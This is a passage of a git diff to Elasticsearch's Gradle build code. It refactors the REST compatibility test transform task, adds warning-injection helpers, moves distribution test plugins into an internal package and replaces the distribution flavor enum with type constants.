org.gradle.api.tasks.InputFiles; @@ -42,10 +52,12 @@ import java.io.File; import java.io.IOException; import java.util.ArrayList; +import java.util.Arrays; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; +import java.util.Set; /** * A task to transform REST tests for use in REST API compatibility before they are executed. @@ -60,6 +72,7 @@ public class RestCompatTestTransformTask extends DefaultTask { private static final Map headers = new LinkedHashMap<>(); + private final FileSystemOperations fileSystemOperations; private final int compatibleVersion; private final DirectoryProperty sourceDirectory; private final DirectoryProperty outputDirectory; @@ -67,7 +80,12 @@ public class RestCompatTestTransformTask extends DefaultTask { private final List> transformations = new ArrayList<>(); @Inject - public RestCompatTestTransformTask(Factory patternSetFactory, ObjectFactory objectFactory) { + public RestCompatTestTransformTask( + FileSystemOperations fileSystemOperations, + Factory patternSetFactory, + ObjectFactory objectFactory + ) { + this.fileSystemOperations = fileSystemOperations; this.compatibleVersion = Version.fromString(VersionProperties.getVersions().get("elasticsearch")).getMajor() - 1; this.sourceDirectory = objectFactory.directoryProperty(); this.outputDirectory = objectFactory.directoryProperty(); @@ -80,13 +98,14 @@ public RestCompatTestTransformTask(Factory patternSetFactory, Object } /** - * Replaces all the values of a match assertion all project REST tests. For example "match":{"_type": "foo"} to "match":{"_type": "bar"} + * Replaces all the values of a match assertion for all project REST tests. + * For example "match":{"_type": "foo"} to "match":{"_type": "bar"} * * @param subKey the key name directly under match to replace. For example "_type" * @param value the value used in the replacement. For example "bar" */ - public void replaceMatch(String subKey, Object value) { - transformations.add(new ReplaceMatch(subKey, MAPPER.convertValue(value, JsonNode.class))); + public void replaceValueInMatch(String subKey, Object value) { + transformations.add(new ReplaceValueInMatch(subKey, MAPPER.convertValue(value, JsonNode.class))); } /** @@ -96,8 +115,72 @@ public void replaceMatch(String subKey, Object value) { * @param value the value used in the replacement. For example "bar" * @param testName the testName to apply replacement */ - public void replaceMatch(String subKey, Object value, String testName) { - transformations.add(new ReplaceMatch(subKey, MAPPER.convertValue(value, JsonNode.class), testName)); + public void replaceValueInMatch(String subKey, Object value, String testName) { + transformations.add(new ReplaceValueInMatch(subKey, MAPPER.convertValue(value, JsonNode.class), testName)); + } + + /** + * A transformation to replace the key in a do section. + * @see ReplaceKeyInDo + * @param oldKeyName the key name directly under do to replace. + * @param newKeyName the new key name directly under do. + */ + public void replaceKeyInDo(String oldKeyName, String newKeyName) { + transformations.add(new ReplaceKeyInDo(oldKeyName, newKeyName, null)); + } + + /** + * A transformation to replace the key in a length assertion. + * @see ReplaceKeyInLength + * @param oldKeyName the key name directly under length to replace. + * @param newKeyName the new key name directly under length. + */ + public void replaceKeyInLength(String oldKeyName, String newKeyName) { + transformations.add(new ReplaceKeyInLength(oldKeyName, newKeyName, null)); + } + + /** + * A transformation to replace the key in a match assertion. + * @see ReplaceKeyInMatch + * @param oldKeyName the key name directly under match to replace. + * @param newKeyName the new key name directly under match. + */ + public void replaceKeyInMatch(String oldKeyName, String newKeyName) { + transformations.add(new ReplaceKeyInMatch(oldKeyName, newKeyName, null)); + } + + /** + * Replaces all the values of a is_true assertion for all project REST tests. + * For example "is_true": "value_to_replace" to "is_true": "value_replaced" + * + * @param oldValue the value that has to match and will be replaced + * @param newValue the value used in the replacement + */ + public void replaceIsTrue(String oldValue, Object newValue) { + transformations.add(new ReplaceIsTrue(oldValue, MAPPER.convertValue(newValue, TextNode.class))); + } + + /** + * Replaces all the values of a is_false assertion for all project REST tests. + * For example "is_false": "value_to_replace" to "is_false": "value_replaced" + * + * @param oldValue the value that has to match and will be replaced + * @param newValue the value used in the replacement + */ + public void replaceIsFalse(String oldValue, Object newValue) { + transformations.add(new ReplaceIsFalse(oldValue, MAPPER.convertValue(newValue, TextNode.class))); + } + + /** + * Replaces all the values of a is_false assertion for given REST test. + * For example "is_false": "value_to_replace" to "is_false": "value_replaced" + * + * @param oldValue the value that has to match and will be replaced + * @param newValue the value used in the replacement + @param testName the testName to apply replacement + */ + public void replaceIsFalse(String oldValue, Object newValue, String testName) { + transformations.add(new ReplaceIsFalse(oldValue, MAPPER.convertValue(newValue, TextNode.class), testName)); } /** @@ -134,6 +217,48 @@ public void addMatch(String subKey, Object value, String testName) { transformations.add(new AddMatch(subKey, MAPPER.convertValue(value, JsonNode.class), testName)); } + /** + * Adds one or more warnings to the given test + * @param testName the test name to add the warning + * @param warnings the warning(s) to add + */ + public void addWarning(String testName, String... warnings) { + transformations.add(new InjectWarnings(Arrays.asList(warnings), testName)); + } + + /** + * Adds one or more regex warnings to the given test + * @param testName the test name to add the regex warning + * @param warningsRegex the regex warning(s) to add + */ + public void addWarningRegex(String testName, String... warningsRegex) { + transformations.add(new InjectWarnings(true, Arrays.asList(warningsRegex), testName)); + } + + /** + * Removes one or more warnings + * @param warnings the warning(s) to remove + */ + public void removeWarning(String... warnings) { + transformations.add(new RemoveWarnings(Set.copyOf(Arrays.asList(warnings)))); + } + + /** + * Adds one or more allowed warnings + * @param allowedWarnings the warning(s) to add + */ + public void addAllowedWarning(String... allowedWarnings) { + transformations.add(new InjectAllowedWarnings(Arrays.asList(allowedWarnings))); + } + + /** + * Adds one or more allowed regular expression warnings + * @param allowedWarningsRegex the regex warning(s) to add + */ + public void addAllowedWarningRegex(String... allowedWarningsRegex) { + transformations.add(new InjectAllowedWarnings(true, Arrays.asList(allowedWarningsRegex))); + } + @OutputDirectory public DirectoryProperty getOutputDirectory() { return outputDirectory; @@ -147,7 +272,11 @@ public FileTree getTestFiles() { @TaskAction public void transform() throws IOException { + // clean the output directory to ensure no stale files persist + fileSystemOperations.delete(d -> d.delete(outputDirectory)); + RestTestTransformer transformer = new RestTestTransformer(); + // TODO: instead of flattening the FileTree here leverage FileTree.visit() so we can preserve folder hierarchy in a more robust way for (File file : getTestFiles().getFiles()) { YAMLParser yamlParser = YAML_FACTORY.createParser(file); List tests = READER.readValues(yamlParser).readAll(); @@ -157,7 +286,7 @@ public void transform() throws IOException { if (testFileParts.length != 2) { throw new IllegalArgumentException("could not split " + file + " into expected parts"); } - File output = new File(outputDirectory.get().getAsFile(), testFileParts[1]); + File output = new File(outputDirectory.get().dir(REST_TEST_PREFIX).getAsFile(), testFileParts[1]); output.getParentFile().mkdirs(); try (SequenceWriter sequenceWriter = WRITER.writeValues(output)) { for (ObjectNode transformedTest : transformRestTests) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/YamlRestCompatTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/YamlRestCompatTestPlugin.java index 716c775e79e79..90e7f461117db 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/YamlRestCompatTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/rest/compat/YamlRestCompatTestPlugin.java @@ -8,26 +8,25 @@ package org.elasticsearch.gradle.internal.rest.compat; -import org.elasticsearch.gradle.ElasticsearchJavaPlugin; +import org.elasticsearch.gradle.internal.ElasticsearchJavaPlugin; import org.elasticsearch.gradle.Version; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.test.RestIntegTestTask; -import org.elasticsearch.gradle.test.RestTestBasePlugin; -import org.elasticsearch.gradle.test.rest.CopyRestApiTask; -import org.elasticsearch.gradle.test.rest.CopyRestTestsTask; -import org.elasticsearch.gradle.test.rest.RestResourcesExtension; -import org.elasticsearch.gradle.test.rest.RestResourcesPlugin; -import org.elasticsearch.gradle.test.rest.RestTestUtil; -import org.elasticsearch.gradle.test.rest.YamlRestTestPlugin; -import org.elasticsearch.gradle.testclusters.ElasticsearchCluster; +import org.elasticsearch.gradle.internal.test.RestIntegTestTask; +import org.elasticsearch.gradle.internal.test.RestTestBasePlugin; +import org.elasticsearch.gradle.internal.test.rest.CopyRestApiTask; +import org.elasticsearch.gradle.internal.test.rest.CopyRestTestsTask; +import org.elasticsearch.gradle.internal.test.rest.RestResourcesExtension; +import org.elasticsearch.gradle.internal.test.rest.RestResourcesPlugin; +import org.elasticsearch.gradle.internal.test.rest.RestTestUtil; +import org.elasticsearch.gradle.internal.test.rest.YamlRestTestPlugin; import org.elasticsearch.gradle.testclusters.TestClustersPlugin; -import org.elasticsearch.gradle.testclusters.TestDistribution; import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.Plugin; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.artifacts.Configuration; import org.gradle.api.artifacts.Dependency; +import org.gradle.api.file.Directory; import org.gradle.api.plugins.JavaBasePlugin; import org.gradle.api.provider.Provider; import org.gradle.api.tasks.SourceSet; @@ -38,8 +37,7 @@ import java.nio.file.Path; import java.util.Map; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.createTestCluster; -import static org.elasticsearch.gradle.test.rest.RestTestUtil.setupDependencies; +import static org.elasticsearch.gradle.internal.test.rest.RestTestUtil.setupDependencies; /** * Apply this plugin to run the YAML based REST tests from a prior major version against this version's cluster. @@ -52,6 +50,7 @@ public class YamlRestCompatTestPlugin implements Plugin { private static final Path RELATIVE_REST_API_RESOURCES = Path.of("rest-api-spec/src/main/resources"); private static final Path RELATIVE_REST_XPACK_RESOURCES = Path.of("x-pack/plugin/src/test/resources"); private static final Path RELATIVE_REST_PROJECT_RESOURCES = Path.of("src/yamlRestTest/resources"); + public static final String BWC_MINOR_CONFIG_NAME = "bwcMinor"; @Override public void apply(Project project) { @@ -74,23 +73,17 @@ public void apply(Project project) { SourceSet yamlTestSourceSet = sourceSets.getByName(YamlRestTestPlugin.SOURCE_SET_NAME); GradleUtils.extendSourceSet(project, YamlRestTestPlugin.SOURCE_SET_NAME, SOURCE_SET_NAME); - // create the test cluster container, and always use the default distribution - ElasticsearchCluster testCluster = createTestCluster(project, yamlCompatTestSourceSet); - testCluster.setTestDistribution(TestDistribution.DEFAULT); - // copy compatible rest specs - Configuration bwcMinorConfig = project.getConfigurations().create("bwcMinor"); + Configuration bwcMinorConfig = project.getConfigurations().create(BWC_MINOR_CONFIG_NAME); Dependency bwcMinor = project.getDependencies().project(Map.of("path", ":distribution:bwc:minor", "configuration", "checkout")); project.getDependencies().add(bwcMinorConfig.getName(), bwcMinor); Provider copyCompatYamlSpecTask = project.getTasks() .register("copyRestCompatApiTask", CopyRestApiTask.class, task -> { task.dependsOn(bwcMinorConfig); - task.setCoreConfig(bwcMinorConfig); - task.setXpackConfig(bwcMinorConfig); + task.setConfig(bwcMinorConfig); task.setAdditionalConfig(bwcMinorConfig); - task.getIncludeCore().set(extension.getRestApi().getIncludeCore()); - task.getIncludeXpack().set(extension.getRestApi().getIncludeXpack()); + task.getInclude().set(extension.getRestApi().getInclude()); task.getOutputResourceDir().set(project.getLayout().getBuildDirectory().dir(compatSpecsDir.toString())); task.setSourceResourceDir( yamlCompatTestSourceSet.getResources() @@ -101,16 +94,11 @@ public void apply(Project project) { .orElse(null) ); task.setSkipHasRestTestCheck(true); - task.setCoreConfigToFileTree( + task.setConfigToFileTree( config -> project.fileTree( config.getSingleFile().toPath().resolve(RELATIVE_REST_API_RESOURCES).resolve(RELATIVE_API_PATH) ) ); - task.setXpackConfigToFileTree( - config -> project.fileTree( - config.getSingleFile().toPath().resolve(RELATIVE_REST_XPACK_RESOURCES).resolve(RELATIVE_API_PATH) - ) - ); task.setAdditionalConfigToFileTree( config -> project.fileTree( getCompatProjectPath(project, config.getSingleFile().toPath()).resolve(RELATIVE_REST_PROJECT_RESOURCES) @@ -155,12 +143,7 @@ public void apply(Project project) { .register("transformV" + compatibleVersion + "RestTests", RestCompatTestTransformTask.class, task -> { task.getSourceDirectory().set(copyCompatYamlTestTask.flatMap(CopyRestTestsTask::getOutputResourceDir)); task.getOutputDirectory() - .set( - project.getLayout() - .getBuildDirectory() - .dir(compatTestsDir.resolve("transformed").resolve(RELATIVE_TEST_PATH).toString()) - ); - + .set(project.getLayout().getBuildDirectory().dir(compatTestsDir.resolve("transformed").toString())); task.onlyIf(t -> isEnabled(project)); }); @@ -168,18 +151,29 @@ public void apply(Project project) { yamlCompatTestSourceSet.getOutput().dir(copyCompatYamlSpecTask.map(CopyRestApiTask::getOutputResourceDir)); yamlCompatTestSourceSet.getOutput().dir(transformCompatTestTask.map(RestCompatTestTransformTask::getOutputDirectory)); + // Grab the original rest resources locations so we can omit them from the compatibility testing classpath down below + Provider originalYamlSpecsDir = project.getTasks() + .withType(CopyRestApiTask.class) + .named(RestResourcesPlugin.COPY_REST_API_SPECS_TASK) + .flatMap(CopyRestApiTask::getOutputResourceDir); + Provider originalYamlTestsDir = project.getTasks() + .withType(CopyRestTestsTask.class) + .named(RestResourcesPlugin.COPY_YAML_TESTS_TASK) + .flatMap(CopyRestTestsTask::getOutputResourceDir); + // setup the yamlRestTest task Provider yamlRestCompatTestTask = RestTestUtil.registerTask(project, yamlCompatTestSourceSet); project.getTasks().withType(RestIntegTestTask.class).named(SOURCE_SET_NAME).configure(testTask -> { // Use test runner and classpath from "normal" yaml source set - testTask.setTestClassesDirs(yamlTestSourceSet.getOutput().getClassesDirs()); + testTask.setTestClassesDirs( + yamlTestSourceSet.getOutput().getClassesDirs().plus(yamlCompatTestSourceSet.getOutput().getClassesDirs()) + ); testTask.setClasspath( - yamlTestSourceSet.getRuntimeClasspath() + yamlCompatTestSourceSet.getRuntimeClasspath() // remove the "normal" api and tests .minus(project.files(yamlTestSourceSet.getOutput().getResourcesDir())) - // add any additional classes/resources from the compatible source set - // the api and tests are copied to the compatible source set - .plus(yamlCompatTestSourceSet.getRuntimeClasspath()) + .minus(project.files(originalYamlSpecsDir)) + .minus(project.files(originalYamlTestsDir)) ); // run compatibility tests after "normal" tests testTask.mustRunAfter(project.getTasks().named(YamlRestTestPlugin.SOURCE_SET_NAME)); diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/DistroTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/DistroTestPlugin.java similarity index 77% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/DistroTestPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/DistroTestPlugin.java index 431193f2dbbf3..4a2a684135c4a 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/DistroTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/DistroTestPlugin.java @@ -6,27 +6,25 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import org.elasticsearch.gradle.Architecture; import org.elasticsearch.gradle.DistributionDownloadPlugin; import org.elasticsearch.gradle.ElasticsearchDistribution; -import org.elasticsearch.gradle.ElasticsearchDistribution.Flavor; import org.elasticsearch.gradle.ElasticsearchDistribution.Platform; -import org.elasticsearch.gradle.ElasticsearchDistribution.Type; -import org.elasticsearch.gradle.Jdk; -import org.elasticsearch.gradle.JdkDownloadPlugin; -import org.elasticsearch.gradle.SystemPropertyCommandLineArgumentProvider; +import org.elasticsearch.gradle.ElasticsearchDistributionType; +import org.elasticsearch.gradle.internal.Jdk; +import org.elasticsearch.gradle.internal.JdkDownloadPlugin; import org.elasticsearch.gradle.Version; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.docker.DockerSupportPlugin; -import org.elasticsearch.gradle.docker.DockerSupportService; -import org.elasticsearch.gradle.info.BuildParams; +import org.elasticsearch.gradle.internal.docker.DockerSupportPlugin; +import org.elasticsearch.gradle.internal.docker.DockerSupportService; +import org.elasticsearch.gradle.internal.info.BuildParams; import org.elasticsearch.gradle.internal.InternalDistributionDownloadPlugin; import org.elasticsearch.gradle.util.GradleUtils; -import org.elasticsearch.gradle.util.Util; -import org.elasticsearch.gradle.vagrant.VagrantBasePlugin; -import org.elasticsearch.gradle.vagrant.VagrantExtension; +import org.elasticsearch.gradle.internal.util.Util; +import org.elasticsearch.gradle.internal.vagrant.VagrantBasePlugin; +import org.elasticsearch.gradle.internal.vagrant.VagrantExtension; import org.gradle.api.Action; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Plugin; @@ -51,14 +49,24 @@ import java.util.function.Supplier; import java.util.stream.Stream; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertLinuxPath; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertWindowsPath; - +import static org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes.ARCHIVE; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.ALL_INTERNAL; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.DEB; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.DOCKER; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.DOCKER_IRONBANK; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.DOCKER_UBI; +import static org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes.RPM; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertLinuxPath; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertWindowsPath; + +/** + * This class defines gradle tasks for testing our various distribution artifacts. + */ public class DistroTestPlugin implements Plugin { private static final String SYSTEM_JDK_VERSION = "11.0.2+9"; private static final String SYSTEM_JDK_VENDOR = "openjdk"; - private static final String GRADLE_JDK_VERSION = "14+36@076bab302c7b4508975440c56f6cc26a"; - private static final String GRADLE_JDK_VENDOR = "openjdk"; + private static final String GRADLE_JDK_VERSION = "15.0.2+7"; + private static final String GRADLE_JDK_VENDOR = "adoptopenjdk"; // all distributions used by distro tests. this is temporary until tests are per distribution private static final String EXAMPLE_PLUGIN_CONFIGURATION = "examplePlugin"; @@ -87,7 +95,7 @@ public void apply(Project project) { NamedDomainObjectContainer allDistributions = DistributionDownloadPlugin.getContainer(project); List testDistributions = configureDistributions(project); - Map> lifecycleTasks = lifecycleTasks(project, "destructiveDistroTest"); + Map> lifecycleTasks = lifecycleTasks(project, "destructiveDistroTest"); Map> versionTasks = versionTasks(project, "destructiveDistroUpgradeTest"); TaskProvider destructiveDistroTest = project.getTasks().register("destructiveDistroTest"); @@ -95,7 +103,7 @@ public void apply(Project project) { Configuration quotaAwareFsPlugin = configureQuotaAwareFsPlugin(project); List> windowsTestTasks = new ArrayList<>(); - Map>> linuxTestTasks = new HashMap<>(); + Map>> linuxTestTasks = new HashMap<>(); Map>> upgradeTestTasks = new HashMap<>(); Map> depsTasks = new HashMap<>(); @@ -121,11 +129,8 @@ public void apply(Project project) { destructiveDistroTest.configure(t -> t.dependsOn(destructiveTask)); lifecycleTasks.get(distribution.getType()).configure(t -> t.dependsOn(destructiveTask)); - if ((distribution.getType() == Type.DEB || distribution.getType() == Type.RPM) && distribution.getBundledJdk()) { + if ((distribution.getType() == DEB || distribution.getType() == RPM) && distribution.getBundledJdk()) { for (Version version : BuildParams.getBwcVersions().getIndexCompatible()) { - if (distribution.getFlavor() == Flavor.OSS && version.before("6.3.0")) { - continue; // before opening xpack - } final ElasticsearchDistribution bwcDistro; if (version.equals(Version.fromString(distribution.getVersion()))) { // this is the same as the distribution we are testing @@ -136,7 +141,6 @@ public void apply(Project project) { distribution.getArchitecture(), distribution.getType(), distribution.getPlatform(), - distribution.getFlavor(), distribution.getBundledJdk(), version.toString() ); @@ -174,7 +178,7 @@ public void apply(Project project) { project.getConfigurations().getByName("testRuntimeClasspath") ); - Map> vmLifecyleTasks = lifecycleTasks(vmProject, "distroTest"); + Map> vmLifecyleTasks = lifecycleTasks(vmProject, "distroTest"); Map> vmVersionTasks = versionTasks(vmProject, "distroUpgradeTest"); TaskProvider distroTest = vmProject.getTasks().register("distroTest"); @@ -184,12 +188,12 @@ public void apply(Project project) { vmProject, windowsTestTasks, depsTasks, - wrapperTask -> { vmLifecyleTasks.get(Type.ARCHIVE).configure(t -> t.dependsOn(wrapperTask)); }, + wrapperTask -> { vmLifecyleTasks.get(ARCHIVE).configure(t -> t.dependsOn(wrapperTask)); }, vmDependencies ); } else { for (var entry : linuxTestTasks.entrySet()) { - Type type = entry.getKey(); + ElasticsearchDistributionType type = entry.getKey(); TaskProvider vmLifecycleTask = vmLifecyleTasks.get(type); configureVMWrapperTasks(vmProject, entry.getValue(), depsTasks, wrapperTask -> { vmLifecycleTask.configure(t -> t.dependsOn(wrapperTask)); @@ -202,8 +206,7 @@ public void apply(Project project) { // auto-detection doesn't work. // // The shouldTestDocker property could be null, hence we use Boolean.TRUE.equals() - boolean shouldExecute = (type != Type.DOCKER && type != Type.DOCKER_UBI) - || Boolean.TRUE.equals(vmProject.findProperty("shouldTestDocker")); + boolean shouldExecute = (type.isDocker()) || Boolean.TRUE.equals(vmProject.findProperty("shouldTestDocker")); if (shouldExecute) { distroTest.configure(t -> t.dependsOn(wrapperTask)); @@ -226,14 +229,14 @@ public void apply(Project project) { }); } - private static Map> lifecycleTasks(Project project, String taskPrefix) { - Map> lifecyleTasks = new HashMap<>(); - - lifecyleTasks.put(Type.DOCKER, project.getTasks().register(taskPrefix + ".docker")); - lifecyleTasks.put(Type.DOCKER_UBI, project.getTasks().register(taskPrefix + ".ubi")); - lifecyleTasks.put(Type.ARCHIVE, project.getTasks().register(taskPrefix + ".archives")); - lifecyleTasks.put(Type.DEB, project.getTasks().register(taskPrefix + ".packages")); - lifecyleTasks.put(Type.RPM, lifecyleTasks.get(Type.DEB)); + private static Map> lifecycleTasks(Project project, String taskPrefix) { + Map> lifecyleTasks = new HashMap<>(); + lifecyleTasks.put(DOCKER, project.getTasks().register(taskPrefix + ".docker")); + lifecyleTasks.put(DOCKER_UBI, project.getTasks().register(taskPrefix + ".docker-ubi")); + lifecyleTasks.put(DOCKER_IRONBANK, project.getTasks().register(taskPrefix + ".docker-ironbank")); + lifecyleTasks.put(ARCHIVE, project.getTasks().register(taskPrefix + ".archives")); + lifecyleTasks.put(DEB, project.getTasks().register(taskPrefix + ".packages")); + lifecyleTasks.put(RPM, lifecyleTasks.get(DEB)); return lifecyleTasks; } @@ -368,55 +371,37 @@ private List configureDistributions(Project project) List currentDistros = new ArrayList<>(); for (Architecture architecture : Architecture.values()) { - for (Type type : List.of(Type.DEB, Type.RPM, Type.DOCKER, Type.DOCKER_UBI)) { - for (Flavor flavor : Flavor.values()) { - for (boolean bundledJdk : Arrays.asList(true, false)) { - if (bundledJdk == false) { - // We'll never publish an ARM (aarch64) build without a bundled JDK. - if (architecture == Architecture.AARCH64) { - continue; - } - // All our Docker images include a bundled JDK so it doesn't make sense to test without one. - if (type == Type.DOCKER || type == Type.DOCKER_UBI) { - continue; - } + ALL_INTERNAL.stream().forEach(type -> { + for (boolean bundledJdk : Arrays.asList(true, false)) { + if (bundledJdk == false) { + // We'll never publish an ARM (aarch64) build without a bundled JDK. + if (architecture == Architecture.AARCH64) { + continue; } - - // We don't publish the OSS distribution on UBI - if (type == Type.DOCKER_UBI && flavor == Flavor.OSS) { + // All our Docker images include a bundled JDK so it doesn't make sense to test without one. + if (type.isDocker()) { continue; } - - currentDistros.add( - createDistro(distributions, architecture, type, null, flavor, bundledJdk, VersionProperties.getElasticsearch()) - ); } + currentDistros.add( + createDistro(distributions, architecture, type, null, bundledJdk, VersionProperties.getElasticsearch()) + ); } - } + }); } for (Architecture architecture : Architecture.values()) { for (Platform platform : Arrays.asList(Platform.LINUX, Platform.WINDOWS)) { - for (Flavor flavor : Flavor.values()) { - for (boolean bundledJdk : Arrays.asList(true, false)) { - if (bundledJdk == false && architecture != Architecture.X64) { - // We will never publish distributions for non-x86 (amd64) platforms - // without a bundled JDK - continue; - } - - currentDistros.add( - createDistro( - distributions, - architecture, - Type.ARCHIVE, - platform, - flavor, - bundledJdk, - VersionProperties.getElasticsearch() - ) - ); + for (boolean bundledJdk : Arrays.asList(true, false)) { + if (bundledJdk == false && architecture != Architecture.X64) { + // We will never publish distributions for non-x86 (amd64) platforms + // without a bundled JDK + continue; } + + currentDistros.add( + createDistro(distributions, architecture, ARCHIVE, platform, bundledJdk, VersionProperties.getElasticsearch()) + ); } } } @@ -427,19 +412,17 @@ private List configureDistributions(Project project) private static ElasticsearchDistribution createDistro( NamedDomainObjectContainer distributions, Architecture architecture, - Type type, + ElasticsearchDistributionType type, Platform platform, - Flavor flavor, boolean bundledJdk, String version ) { - String name = distroId(type, platform, flavor, bundledJdk, architecture) + "-" + version; - boolean isDocker = type == Type.DOCKER || type == Type.DOCKER_UBI; + String name = distroId(type, platform, bundledJdk, architecture) + "-" + version; + boolean isDocker = type.isDocker(); ElasticsearchDistribution distro = distributions.create(name, d -> { d.setArchitecture(architecture); - d.setFlavor(flavor); d.setType(type); - if (type == Type.ARCHIVE) { + if (type == ARCHIVE) { d.setPlatform(platform); } if (isDocker == false) { @@ -462,27 +445,25 @@ private static boolean isWindows(Project project) { return project.getName().contains("windows"); } - private static String distroId(Type type, Platform platform, Flavor flavor, boolean bundledJdk, Architecture architecture) { - return flavor - + "-" - + (type == Type.ARCHIVE ? platform + "-" : "") - + type + private static String distroId(ElasticsearchDistributionType type, Platform platform, boolean bundledJdk, Architecture architecture) { + return "default-" + + (type == ARCHIVE ? platform + "-" : "") + + type.getName() + (bundledJdk ? "" : "-no-jdk") + (architecture == Architecture.X64 ? "" : "-" + architecture.toString().toLowerCase()); } private static String destructiveDistroTestTaskName(ElasticsearchDistribution distro) { - Type type = distro.getType(); - return "destructiveDistroTest." - + distroId(type, distro.getPlatform(), distro.getFlavor(), distro.getBundledJdk(), distro.getArchitecture()); + ElasticsearchDistributionType type = distro.getType(); + return "destructiveDistroTest." + distroId(type, distro.getPlatform(), distro.getBundledJdk(), distro.getArchitecture()); } private static String destructiveDistroUpgradeTestTaskName(ElasticsearchDistribution distro, String bwcVersion) { - Type type = distro.getType(); + ElasticsearchDistributionType type = distro.getType(); return "destructiveDistroUpgradeTest.v" + bwcVersion + "." - + distroId(type, distro.getPlatform(), distro.getFlavor(), distro.getBundledJdk(), distro.getArchitecture()); + + distroId(type, distro.getPlatform(), distro.getBundledJdk(), distro.getArchitecture()); } private static void addDistributionSysprop(Test task, String sysprop, Supplier valueSupplier) { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/ErrorReportingTestListener.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/ErrorReportingTestListener.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/ErrorReportingTestListener.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/ErrorReportingTestListener.java index 328e5e1967535..65f29fbbf7472 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/ErrorReportingTestListener.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/ErrorReportingTestListener.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; import org.gradle.api.internal.tasks.testing.logging.FullExceptionFormatter; import org.gradle.api.internal.tasks.testing.logging.TestExceptionFormatter; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/Fixture.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/Fixture.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/Fixture.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/Fixture.java index 5c2ad212850be..843c82f794066 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/Fixture.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/Fixture.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; /** * Any object that can produce an accompanying stop task, meant to tear down diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/GradleDistroTestTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/GradleDistroTestTask.java similarity index 89% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/GradleDistroTestTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/GradleDistroTestTask.java index 885a5ffd33f0b..6d13184ba0b7e 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/GradleDistroTestTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/GradleDistroTestTask.java @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package org.elasticsearch.gradle.internal.test; -import org.elasticsearch.gradle.vagrant.VagrantShellTask; +import org.elasticsearch.gradle.internal.vagrant.VagrantShellTask; import org.gradle.api.tasks.Input; import org.gradle.api.tasks.options.Option; @@ -16,8 +16,8 @@ import java.util.Collections; import java.util.List; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertLinuxPath; -import static org.elasticsearch.gradle.vagrant.VagrantMachine.convertWindowsPath; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertLinuxPath; +import static org.elasticsearch.gradle.internal.vagrant.VagrantMachine.convertWindowsPath; /** * Run a gradle task of the current build, within the configured vagrant VM. diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/test/InternalClusterTestPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/InternalClusterTestPlugin.java similarity index 95% rename from buildSrc/src/main/java/org/elasticsearch/gradle/test/InternalClusterTestPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/InternalClusterTestPlugin.java index 06de2c23d0fe1..6ecad2c174a3c 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/test/InternalClusterTestPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/test/InternalClusterTestPlugin.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.test; +package 